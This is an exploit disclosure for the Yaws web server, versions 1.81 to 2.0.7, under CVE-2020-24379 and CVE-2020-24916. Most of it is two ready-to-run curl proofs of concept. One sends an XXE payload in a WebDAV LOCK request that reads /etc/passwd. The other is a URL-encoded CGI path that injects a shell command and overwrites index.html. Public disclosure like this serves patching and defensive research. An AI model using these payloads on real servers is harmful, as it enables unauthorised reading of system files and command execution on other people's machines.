# Exploit Title: Multiple vulnerabilities in Yaws web server
# Date: 2020-08-10
# Exploit Author: Alexey Pronin （vulnbe）
# Vendor Homepage: http://yaws.hyber.org/
# Software Link: https://github.com/erlyaws/yaws
# Versions affected: 1.81 - 2.0.7
# CVE: CVE-2020-24379, CVE-2020-24916
1. Description:
----------------------
Yaws versions 1.81 to 2.0.7 are vulnerable to XXE and OS command injections.
2. XXE injection Proof of Concept (CVE-2020-24379)
----------------------
curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \
--data-binary @- << EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<d:lockinfo xmlns:d="DAV:">
<d:lockscope><d:exclusive/></d:lockscope>
<d:locktype><d:write/></d:locktype>
<d:owner>
<d:href><r>&sp;</r></d:href>
</d:owner>
</d:lockinfo>
EOF
3. OS command injection Proof of Concept (CVE-2020-24916)
----------------------
curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
4. References
----------------------
* Vulnerability details: https://vuln.be/post/yaws-xxe-and-shell-injections/
* XXE injection PoC: https://github.com/vulnbe/poc-yaws-dav-xxe)
* Shell injection PoC: https://github.com/vulnbe/poc-yaws-cgi-shell-injection
